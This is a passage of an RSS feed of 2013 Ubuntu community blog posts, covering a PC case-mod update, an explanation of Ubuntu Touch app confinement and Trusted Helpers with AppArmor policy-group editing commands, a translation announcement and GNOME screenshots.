      <guid isPermaLink="true">https://noskcaj10.wordpress.com/2013/12/18/the-ubuntu-pc-case-mod-pt-9-the-cpu-kubuntu-stickers/</guid>
      <pubDate>Wed, 18 Dec 2013 06:21:44 GMT</pubDate>
      <description><![CDATA[<p>Hello everyone,</p>
<p>The CPU (an AMD FX-8320) finally arrived this week, and i&#8217;ve put the LEDs on since i shouldn&#8217;t be doing any more cutting any time soon. On top of this, I received a sponsorship from linux australia recently, which is paying for the main motherboard and PSU. I also have a few other parts that count as christmas gifts which i think i&#8217;m getting, plus a $10 donation to the gofundme project, which is being used for the power LEDs and a small soldering iron.</p>
<p>Adding the LEDs was rather easy, since they have a super strong glue strip on the underside, and it plugs straight on to the fan controller.</p>
<p><a href="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010670.jpg"><img data-attachment-id="174" data-permalink="https://noskcaj10.wordpress.com/2013/12/18/the-ubuntu-pc-case-mod-pt-9-the-cpu-kubuntu-stickers/p1010670/" data-orig-file="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010670.jpg" data-orig-size="3977,2422" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;}" data-image-title="P1010670" data-image-description="" data-image-caption="" data-large-file="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010670.jpg?w=545" class="alignnone size-medium wp-image-174" alt="P1010670" src="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010670.jpg?w=300&#038;h=182" width="300" height="182" srcset="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010670.jpg?w=300 300w, https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010670.jpg?w=600 600w, https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010670.jpg?w=150 150w" sizes="(max-width: 300px) 100vw, 300px" /></a></p>
<p><a style="line-height:1.5;font-style:inherit;font-weight:inherit;" href="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010673.jpg"><img data-attachment-id="175" data-permalink="https://noskcaj10.wordpress.com/2013/12/18/the-ubuntu-pc-case-mod-pt-9-the-cpu-kubuntu-stickers/p1010673/" data-orig-file="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010673.jpg" data-orig-size="2281,1737" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;}" data-image-title="P1010673" data-image-description="" data-image-caption="" data-large-file="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010673.jpg?w=545" class="alignnone size-medium wp-image-175" alt="P1010673" src="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010673.jpg?w=300&#038;h=228" width="300" height="228" srcset="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010673.jpg?w=300 300w, https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010673.jpg?w=600 600w, https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010673.jpg?w=150 150w" sizes="(max-width: 300px) 100vw, 300px" /></a></p>
<p>The dvd drives are now in place, they&#8217;ve turned out rather well for a first attempt at stealthing</p>
<p><a style="line-height:1.5;font-style:inherit;font-weight:inherit;" href="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010674.jpg"><img data-attachment-id="176" data-permalink="https://noskcaj10.wordpress.com/2013/12/18/the-ubuntu-pc-case-mod-pt-9-the-cpu-kubuntu-stickers/p1010674/" data-orig-file="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010674.jpg" data-orig-size="2829,2806" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;}" data-image-title="P1010674" data-image-description="" data-image-caption="" data-large-file="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010674.jpg?w=545" class="alignnone size-medium wp-image-176" alt="P1010674" src="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010674.jpg?w=300&#038;h=297" width="300" height="297" srcset="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010674.jpg?w=300 300w, https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010674.jpg?w=600 600w, https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010674.jpg?w=150 150w" sizes="(max-width: 300px) 100vw, 300px" /></a></p>
<p>The CPU came in a rather large, aluminium tin.</p>
<p><a style="line-height:1.5;font-style:inherit;font-weight:inherit;" href="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010679.jpg"><img loading="lazy" data-attachment-id="177" data-permalink="https://noskcaj10.wordpress.com/2013/12/18/the-ubuntu-pc-case-mod-pt-9-the-cpu-kubuntu-stickers/p1010679/" data-orig-file="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010679.jpg" data-orig-size="1477,1753" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;}" data-image-title="P1010679" data-image-description="" data-image-caption="" data-large-file="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010679.jpg?w=545" class="alignnone size-medium wp-image-177" alt="P1010679" src="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010679.jpg?w=252&#038;h=300" width="252" height="300" srcset="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010679.jpg?w=252 252w, https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010679.jpg?w=504 504w, https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010679.jpg?w=126 126w" sizes="auto, (max-width: 252px) 100vw, 252px" /></a></p>
<p>My favourite part of this is the lid opens up into two separate pieces</p>
<p><a style="line-height:1.5;font-style:inherit;font-weight:inherit;" href="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010682.jpg"><img loading="lazy" data-attachment-id="178" data-permalink="https://noskcaj10.wordpress.com/2013/12/18/the-ubuntu-pc-case-mod-pt-9-the-cpu-kubuntu-stickers/p1010682/" data-orig-file="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010682.jpg" data-orig-size="1407,771" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;}" data-image-title="P1010682" data-image-description="" data-image-caption="" data-large-file="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010682.jpg?w=545" class="alignnone size-medium wp-image-178" alt="P1010682" src="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010682.jpg?w=300&#038;h=164" width="300" height="164" srcset="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010682.jpg?w=300 300w, https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010682.jpg?w=600 600w, https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010682.jpg?w=150 150w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a><a style="line-height:1.5;font-style:inherit;font-weight:inherit;" href="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010683.jpg"><img loading="lazy" data-attachment-id="179" data-permalink="https://noskcaj10.wordpress.com/2013/12/18/the-ubuntu-pc-case-mod-pt-9-the-cpu-kubuntu-stickers/p1010683/" data-orig-file="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010683.jpg" data-orig-size="1406,779" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;}" data-image-title="P1010683" data-image-description="" data-image-caption="" data-large-file="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010683.jpg?w=545" class="alignnone size-medium wp-image-179" alt="P1010683" src="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010683.jpg?w=300&#038;h=166" width="300" height="166" srcset="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010683.jpg?w=300 300w, https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010683.jpg?w=600 600w, https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010683.jpg?w=150 150w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a></p>
<p>One of which is a rather strange, but cute, print.</p>
<p><a style="line-height:1.5;font-style:inherit;font-weight:inherit;" href="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010685.jpg"><img loading="lazy" data-attachment-id="180" data-permalink="https://noskcaj10.wordpress.com/2013/12/18/the-ubuntu-pc-case-mod-pt-9-the-cpu-kubuntu-stickers/p1010685/" data-orig-file="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010685.jpg" data-orig-size="2156,1354" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;}" data-image-title="P1010685" data-image-description="" data-image-caption="" data-large-file="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010685.jpg?w=545" class="alignnone size-medium wp-image-180" alt="P1010685" src="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010685.jpg?w=300&#038;h=188" width="300" height="188" srcset="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010685.jpg?w=300 300w, https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010685.jpg?w=600 600w, https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010685.jpg?w=150 150w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a></p>
<p>The underside of the cpu. If a computer part could be un-photogenic, this is it.</p>
<p><a style="line-height:1.5;font-style:inherit;font-weight:inherit;" href="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010688.jpg"><img loading="lazy" data-attachment-id="181" data-permalink="https://noskcaj10.wordpress.com/2013/12/18/the-ubuntu-pc-case-mod-pt-9-the-cpu-kubuntu-stickers/p1010688/" data-orig-file="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010688.jpg" data-orig-size="1626,821" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;}" data-image-title="P1010688" data-image-description="" data-image-caption="" data-large-file="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010688.jpg?w=545" class="alignnone size-medium wp-image-181" alt="P1010688" src="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010688.jpg?w=300&#038;h=151" width="300" height="151" srcset="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010688.jpg?w=300 300w, https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010688.jpg?w=600 600w, https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010688.jpg?w=150 150w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a></p>
<p>The cooler still needs a clean, but i&#8217;ll save that for when it is being painted</p>
<p><a style="line-height:1.5;font-style:inherit;font-weight:inherit;" href="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010690.jpg"><img loading="lazy" data-attachment-id="182" data-permalink="https://noskcaj10.wordpress.com/2013/12/18/the-ubuntu-pc-case-mod-pt-9-the-cpu-kubuntu-stickers/p1010690/" data-orig-file="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010690.jpg" data-orig-size="1386,1143" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;}" data-image-title="P1010690" data-image-description="" data-image-caption="" data-large-file="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010690.jpg?w=545" class="alignnone size-medium wp-image-182" alt="P1010690" src="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010690.jpg?w=300&#038;h=247" width="300" height="247" srcset="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010690.jpg?w=300 300w, https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010690.jpg?w=600 600w, https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010690.jpg?w=150 150w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a></p>
<p>The other new this week, is i&#8217;ve received 200 Kubuntu stickers. I will send these free to anyone in Australia who is willing to pay postage. <a href="mailto:noskcaj@ubuntu.com" target="_blank">Email me</a> for my address if you would like some.</p>
<p><a style="line-height:1.5;font-style:inherit;font-weight:inherit;" href="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010692.jpg"><img loading="lazy" data-attachment-id="183" data-permalink="https://noskcaj10.wordpress.com/2013/12/18/the-ubuntu-pc-case-mod-pt-9-the-cpu-kubuntu-stickers/p1010692/" data-orig-file="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010692.jpg" data-orig-size="2086,1995" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;}" data-image-title="P1010692" data-image-description="" data-image-caption="" data-large-file="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010692.jpg?w=545" class="alignnone size-medium wp-image-183" alt="P1010692" src="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010692.jpg?w=300&#038;h=286" width="300" height="286" srcset="https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010692.jpg?w=300 300w, https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010692.jpg?w=600 600w, https://noskcaj10.wordpress.com/wp-content/uploads/2013/12/p1010692.jpg?w=150 150w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a></p>
<p>I still need someone who cn make me the itx mount, but i&#8217;m starting to give up on that.</p>
<p>To sponsor me, email me at noskcaj@ubuntu.com<br />
Current sponsor(s): IceModz.com , linux.org.au<br />
Help fund this (Please): <a href="http://www.gofundme.com/39uhgg" rel="nofollow">http://www.gofundme.com/39uhgg</a></p>
<p>Thank you</p>]]></description>
      <source url="https://noskcaj10.wordpress.com/category/ubuntu/feed/?mrss=off">Jackson Doak</source>
    </item>
    <item>
      <title>Ubuntu Touch and User Privacy</title>
      <link>http://mdeslaur.blogspot.com/2013/12/ubuntu-touch-and-user-privacy.html</link>
      <guid isPermaLink="true">http://mdeslaur.blogspot.com/2013/12/ubuntu-touch-and-user-privacy.html</guid>
      <pubDate>Mon, 16 Dec 2013 19:25:00 GMT</pubDate>
      <description><![CDATA[<h2>
Application Confinement</h2>
When we started thinking about how to design the security infrastructure in Ubuntu Touch, one of the important criterias was user privacy. For Ubuntu Touch, and the converged desktop in the future, we are moving from a model where people install software provided in an archive maintained by packagers to a model where applications get uploaded by the authors themselves directly into a software store. While this allows users to quickly gain access to the latest and greatest applications, it also brings with it a new problem: how to prevent malicious applications from stealing the user’s private data.<br />
<br />
The traditional archive model in Ubuntu is based on trust, barrier to entry, and time. In order to get something uploaded or modified in the archive, a developer needs to demonstrate trustability by contributing a significant amount of work before upload rights are granted. Learning how to create and modify packaging, and successfully getting contributions sponsored is complex, time consuming, and is a barrier to entry. Once a package does get uploaded or modified, it is generally done in the development release. This allows a package to be in the archive for a certain amount of time before it becomes part of an official release. Hopefully, if something malicious does make it to the archive, it will be discovered in the development release before it gets published in an official release.<br />
<br />
This long and complex process results in a software archive that can be trusted, but prevents software developers from being able to quickly get new versions of their software into the hands of their users. One of the goals of the Ubuntu Software Store is to allow a software developer to perform a few simple steps and have their application available to be installed by users in minutes, not in months.<br />
<br />
How do we trust software that can be made available to users in minutes? Simple: we confine it, and prevent it from accessing the user’s private data.<br />
<br />
<h2>
The Permissions Problem</h2>
<br />
At some point, an application may need to access some of the user’s data for it to be useful. For example, an image editing application is quite useless if it can’t open any of the user’s pictures. There needs to be a way to give applications permission to access certain data.<br />
<br />
On another mobile platform, this is solved in two ways: having each application ship with a list of required permissions, and implement a shared storage location where applications can freely access the user’s files. When a user installs an application, a dialog box is displayed listing all the permissions that are required for the application to work correctly. The user then has two choices: they can either continue with the installation and grant the required permissions, or they can cancel the installation process.<br />
<br />
As a user, this is a difficult choice to make.<br />
<br />
In order for a user to make an informed decision about a security question, there needs to be some context. If a flashlight application I am attempting to install indicates that it requires access to my address book, I have no idea at this point in time <i>why</i> that access is required. Does the application feature a “Recommend this app to friends!” button which would require access to my contact list, or does it contain adware that wants to data mine me? At this stage, I am unable to make an informed decision on the trustworthiness of the application, and will most likely install it even if I’m not in complete agreement with the permissions that are being requested. This is an all-or-nothing proposition: there is no way for me to use an application if I don’t accept the complete list of permission it requests.<br />
<br />
This results in a software store loaded with no-cost applications that exist solely to data mine personal information for profit. Users are walking around with mobile devices completely unaware of the fact that the trivial applications they’ve installed are tracking every move they make.<br />
<br />
<h2>
Trusted Helpers</h2>
<br />
In the security model we’ve developed, users get to make decisions on sensitive actions at the moment they are needed, instead of at application installation time. This is performed by system components called “Trusted Helpers”.<br />
<br />
Ubuntu Software Store applications are confined by default. They can only access their own directories, and their own data. Instead of granting permissions to access user data, we grant access to <i>request</i> user data using Trusted Helpers. This allows applications to access specific data as approved by the user instead of granting permissions to access it all.<br />
<br />
For example, instead of granting permission to directly access all of the user’s contact list, an application can request access to a contact. The system address book will then display a list of contacts to the user and only the specific contact selected by the user will be sent to the application. The application <i>only</i> has access to the contact which was specifically authorized by the user.<br />
<br />
If a flashlight application needs access to a user contact in order for a “Recommend this app to friends!” button to work, the user will be making an informed choice, as the request will be the direct result of having pressed the button. The flashlight app can be used without fear of it accessing contact information during normal usage.<br />
<br />
The same idea exists to exchange data between applications. If the user wants to edit a picture using an image editing application, the application will ask a system service known as the Content Hub to obtain an image. The Content Hub will then request a picture from the application which owns the data, in this case the Gallery application. The Gallery application will display a picker dialog to the user allowing them to select a specific photo to which the image editor will be granted access.<br />
<br />
A similar approach exists for access to other system services that are security-sensitive, such as the device GPS. At the moment an application wants to access the user’s location, a dialog will be displayed asking for permission. If the user accepts the request, the decision is cached, and the application can now access the user’s location in the future. If the user declines, the application can continue functioning normally, but without the location information. A user will be able to revoke the granted permissions at any time.<br />
<br />
Trusted Helpers allow users to specify, in a fine-grained way, which private information can be accessed by applications. The decision to grant these permissions is done at the moment the access is needed, giving the user the appropriate context for making an informed decision. Applications can be installed and used without fear that private data is being collected in the background.<br />
<br />
<h2>
Policy Groups</h2>
<br />
Applications in the Ubuntu Software Store are confined with technology called AppArmor. In order to facilitate the creation of AppArmor profiles by application developers, Ubuntu comes with a predefined list of “Policy Groups”. These Policy Groups are specified by application developers when creating packages for submission to the Ubuntu Software Store.<br />
<br />
Some of the Policy Groups simply give access to the APIs necessary to communicate with Trusted Helpers. For example, the “location” Policy Group allows an application to communicate with the location service which uses the GPS, but does not give access to the GPS directly. The location service is a Trusted Helper which will prompt the user for authorization, so the mere presence of this Policy Group doesn’t directly affect user privacy.<br />
<br />
Some of the other Policy Groups, such as “networking”, grant access to common services that aren’t really suitable for user prompting. Since most applications need network access, it would be inconvenient and inefficient to prompt the user for each one.<br />
<br />
Although Policy Groups weren’t designed to be visible to end users, there is a utility in the Ubuntu Software Store called “Permy” that will display the ones being used by each installed application.<br />
<br />
Power users who would like to experiment with restricting Policy Groups for installed applications can currently do so by editing the security manifest files. Each package in the Ubuntu Software Store ships a security manifest file that enumerates the Policy Groups granted to the package. When the package is installed, its security manifest file is available in /var/lib/apparmor/clicks/ and it can be edited by the admin of the system. For example, if you wanted to remove the “networking” Policy Group from the hello-world application:<br />
<br />
$ adb shell vi /var/lib/apparmor/clicks/ar.com.beuno.hello-world_hello-world_0.1.json<br />
<br />
change:<br />
<br />
{<br />
&nbsp;&nbsp;&nbsp; "policy_groups": [<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "networking"<br />
&nbsp;&nbsp;&nbsp; ],<br />
&nbsp;&nbsp;&nbsp; "policy_version": 1.0<br />
}<br />
<br />
to:<br />
<br />
{<br />
&nbsp;&nbsp;&nbsp; "policy_groups": [],<br />
&nbsp;&nbsp;&nbsp; "policy_version": 1.0<br />
}<br />
<br />
Then apply the changes to the AppArmor policy with:<br />
<br />
$ adb shell aa-clickhook -f<br />
<br />
At the moment, application upgrades will reset any modifications done to Policy Groups, but we will be introducing override files in this development cycle. The override files will allow power users to revoke application Policy Groups in a way that will survive application upgrades.<br />
<br />
In the future, we intend to develop the required system service to allow power users to easily revoke Policy Groups with a simple graphical interface.<br />
<br />
<h2>
The User is in Control</h2>
<br />
We believe the user should ultimately be in control of all access to their private data, and security should be more fine-grained than the all-or-nothing access inherent to a set of predetermined permissions associated with an application. Allowing the user to selectively share data with applications on a use by use basis as is done with Trusted Helpers makes Ubuntu Touch and the Ubuntu Software Store the ideal platform for privacy conscious users.]]></description>
      <source url="http://mdeslaur.blogspot.com/feeds/posts/default/-/ubuntu-planet">Marc Deslauriers</source>
    </item>
    <item>
      <title>Ubuntu Trusty translations are now open</title>
      <link>https://blogs.gnome.org/happyaron/2013/12/14/ubuntu-trusty-translations-are-now-open/</link>
      <guid isPermaLink="true">https://blogs.gnome.org/happyaron/2013/12/14/ubuntu-trusty-translations-are-now-open/</guid>
      <pubDate>Sat, 14 Dec 2013 08:55:05 GMT</pubDate>
      <description><![CDATA[<p>We are pleased to announce that Trusty is now open for translation:</p>
<p><a href="https://translations.launchpad.net/ubuntu/trusty" rel="nofollow" class="external">https://translations.launchpad.net/ubuntu/trusty</a></p>
<p>* Translation caveats. Remember that according to the release schedule [1] translatable messages might be subject to change until the User Interface Freeze [2].<br />
* Language packs. During the Trusty development cycle, language packs containing translations will be released twice per week [3] except for the freeze periods. This will allow users and translators to quickly see and test the results of translations.<br />
* Test and report bugs. If you notice any issues (e.g. untranslated strings or applications), do check with the translation team [4] for your language first. If you think it is a genuine bug, please report it [5].</p>
<p>Happy translating! :-)</p>
<p>[1] <a href="https://wiki.ubuntu.com/TrustyTahr/ReleaseSchedule" rel="nofollow" class="external">https://wiki.ubuntu.com/TrustyTahr/ReleaseSchedule</a><br />
[2] <a href="https://wiki.ubuntu.com/UserInterfaceFreeze" rel="nofollow" class="external">https://wiki.ubuntu.com/UserInterfaceFreeze</a><br />
[3] <a href="https://dev.launchpad.net/Translations/LanguagePackSchedule" rel="nofollow" class="external">https://dev.launchpad.net/Translations/LanguagePackSchedule</a><br />
[4] <a href="https://translations.launchpad.net/+groups/ubuntu-translators" rel="nofollow" class="external">https://translations.launchpad.net/+groups/ubuntu-translators</a><br />
[5] <a href="https://bugs.launchpad.net/ubuntu-translations/+filebug" rel="nofollow" class="external">https://bugs.launchpad.net/ubuntu-translations/+filebug</a></p>]]></description>
      <source url="http://blogs.gnome.org/happyaron/category/ubuntu/feed/">Aron Xu</source>
    </item>
    <item>
      <title>I Know what You Did This Summer</title>
      <link>https://blogs.gnome.org/lferrett/2013/08/03/i-know-what-you-did-this-summer/</link>
      <guid isPermaLink="true">https://blogs.gnome.org/lferrett/2013/08/03/i-know-what-you-did-this-summer/</guid>
      <pubDate>Sat, 03 Aug 2013 20:50:51 GMT</pubDate>
      <description><![CDATA[<p>For your visual pleasure, here are some fresh screenshots from GNOME 3.9.5. Enjoy <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<h3><span style="font-size: 1.17em">Weather and Maps</span></h3>
<figure id="attachment_159" aria-describedby="caption-attachment-159" style="width: 384px" class="wp-caption alignnone"><a href="http://blogs.gnome.org/lferrett/files/2013/08/weather-and-maps.jpg"><img fetchpriority="high" decoding="async" class=" wp-image-159 " alt="Plan your vacations!" src="http://blogs.gnome.org/lferrett/files/2013/08/weather-and-maps.jpg" width="384" height="307" /></a><figcaption id="caption-attachment-159" class="wp-caption-text">Plan your vacations!</figcaption></figure>
<h3>Disk Usage and Notes</h3>
<figure id="attachment_160" aria-describedby="caption-attachment-160" style="width: 384px" class="wp-caption alignnone"><a href="http://blogs.gnome.org/lferrett/files/2013/08/disk-usage-and-notes.jpg"><img decoding="async" class=" wp-image-160 " alt="When numbers really matters" src="http://blogs.gnome.org/lferrett/files/2013/08/disk-usage-and-notes.jpg" width="384" height="307" /></a><figcaption id="caption-attachment-160" class="wp-caption-text">When numbers really matters</figcaption></figure>
<h3>Photos</h3>
<figure id="attachment_161" aria-describedby="caption-attachment-161" style="width: 384px" class="wp-caption alignnone"><a href="http://blogs.gnome.org/lferrett/files/2013/08/photos.jpg"><img decoding="async" class=" wp-image-161 " alt="Make your memories bright" src="http://blogs.gnome.org/lferrett/files/2013/08/photos.jpg" width="384" height="307" /></a><figcaption id="caption-attachment-161" class="wp-caption-text">Make your memories bright</figcaption></figure>
<h3>Universal Access</h3>
<figure id="attachment_162" aria-describedby="caption-attachment-162" style="width: 384px" class="wp-caption alignnone"><a href="http://blogs.gnome.org/lferrett/files/2013/08/universal-access.jpg"><img loading="lazy" decoding="async" class=" wp-image-162 " alt="Plain and simple" src="http://blogs.gnome.org/lferrett/files/2013/08/universal-access.jpg" width="384" height="307" /></a><figcaption id="caption-attachment-162" class="wp-caption-text">Plain and simple</figcaption></figure>
<h3>System Monitor and Nautilus and&#8230;</h3>
<figure id="attachment_163" aria-describedby="caption-attachment-163" style="width: 384px" class="wp-caption alignnone"><a href="http://blogs.gnome.org/lferrett/files/2013/08/system-monitor-and-nautilus.jpg"><img loading="lazy" decoding="async" class=" wp-image-163 " alt="Oh my gosh! Is this menu item real?!?!?" src="http://blogs.gnome.org/lferrett/files/2013/08/system-monitor-and-nautilus.jpg" width="384" height="307" /></a><figcaption id="caption-attachment-163" class="wp-caption-text">Oh my gosh! Is this menu item real?!?!?</figcaption></figure>
<p>&nbsp;</p>
<p>&nbsp;</p>]]></description>
      <source url="http://blogs.gnome.org/lferrett/feed/">Luca Ferretti</source>
    </item>
    <item>
      <title>Spanish or Bust: Attaining fluency in 90 days or else ... </title>
      <link>http://ncommander.blogspot.com/2013/06/spanish-or-bust-attaining-fluency-in-90.html</link>
      <guid isPermaLink="true">http://ncommander.blogspot.com/2013/06/spanish-or-bust-attaining-fluency-in-90.html</guid>
      <pubDate>Sat, 29 Jun 2013 01:38:00 GMT</pubDate>
      <description><![CDATA[<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
"How do you have an adventure?"<br />
<br />
"You take a stupid idea, and follow through ..."<br />
<br />
